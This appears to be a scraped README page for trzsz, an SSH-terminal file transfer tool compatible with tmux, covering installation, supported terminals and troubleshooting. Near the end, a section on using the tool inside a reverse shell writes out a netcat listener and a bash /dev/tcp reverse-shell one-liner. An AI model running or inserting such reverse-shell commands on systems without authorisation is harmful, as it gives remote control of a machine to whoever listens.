trzsz is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.
trzsz is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.
trzsz ( trz / tsz ) is a simple file transfer tool for SSH terminals, similar to lrzsz ( rz / sz ) but compatible with tmux.
Install trzsz ( trz / tsz ) on the server. go, py and js versions are compatible with each other.
Use supported terminal on local. Use trzsz-ssh ( tssh ) on local shell, or refer to Supported Terminals below.
Use the trz ( similar to rz ) to upload files, and use the tsz ( similar to sz ) to download files.
Considering laptop -> hostA -> hostB -> docker -> tmux, using scp or sftp is inconvenience.
In this case, lrzsz ( rz / sz ) is convenient to use, but unfortunately it's not compatible with tmux.
tmux is not going to support rz / sz ( 906, 1439 ), so trzsz ( trz / tsz ) was developed.
trz -d to upload directories, tsz -d xxx to download xxx directories.trz -y or tsz -y xxx overwrite exiting files will auto resume from breakpoint.trzsz ssh x.x.x.x to login.ctrl + c to stop gracefully.Install the Go version ( ⭐ Recommended )
Please check the Go version installation guide: https://trzsz.github.io/go
Or install with Python3
sudo python3 -m pip install --upgrade trzszOr install with Python2
sudo python2 -m pip install --upgrade trzszOr install with Homebrew
brew update
brew install trzszOr install with Node.js
sudo npm install -g trzsz Can be installed without sudo, just add the installation path ( e.g. ~/.local/bin ) to the PATH environment.
trzsz-ssh ( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).
iTerm2 -- check the trzsz-iterm2 installation.
tabby -- install the tabby-trzsz plugin.
electerm -- upgrade to 1.19.0 or higher.
ttyd -- upgrade to 1.7.3 or higher, and start with -t enableTrzsz=true, use https unless localhost.
trzsz-go -- supports all terminals that support a local shell.
trzsz.js -- making webshell in browser and electron terminal supports trzsz.
Does your terminal supports trzsz as well? Please let me know. I would love to have it on the list.
trz upload files to the remote server…tsz download files from the remote server…If tmux is running on the local computer.
tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.trzsz ssh to login after tmux.tssh to login after tmux.If tmux is running on the jump server.
tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.trzsz -r ssh to login after tmux.tssh to login after tmux.If an error occurs, and trzsz is hanging up.
control + c to stop trz or tsz process on the server.command + option + shift + r to stop iTerm2 Coprocesses.If trz -b binary upload fails, and login to server using telnet or docker exec.
trz -eb.If trz -b or tsz -b binary transfer fails, and login to server using expect.
export LC_CTYPE=C before the expect script. e.g.:#!/bin/sh
export LC_CTYPE=C
expect -c '
spawn ssh xxx
expect "xxx: "
send "xxx\n"
interact
'If you want to upload and download using trz / tsz in a reverse shell, you need to follow these steps:
tssh xxx or trzsz ssh xxx to log in to the server.nc -lnv 1337 on the server, and wait for the reverse shell connection.bash -i >& /dev/tcp/192.168.0.1/1337 0>&1.python3 -c 'import pty; pty.spawn("/bin/bash")'.ctrl + z to turn the reverse shell into background.stty raw -echo; fg to disable the echo of the server, and return to the reverse shell.export TERM=xterm-256color ( not necessary ).TMUX environment variable, clear it with unset TMUX.trz / tsz to upload and download as normal.exit blindly to exit the reverse shell.reset blindly on the server and press Enter to reset the default settings of the terminal.text progress barzenity progress bartabby-trzsz pluginFeel free to email the author [email protected], or create an issue. Welcome to join the QQ group: 318578930.
❤️ Sponsor trzsz ❤️, buy the author a drink ? Thank you for your support!
No open issues yet, or sync has not completed.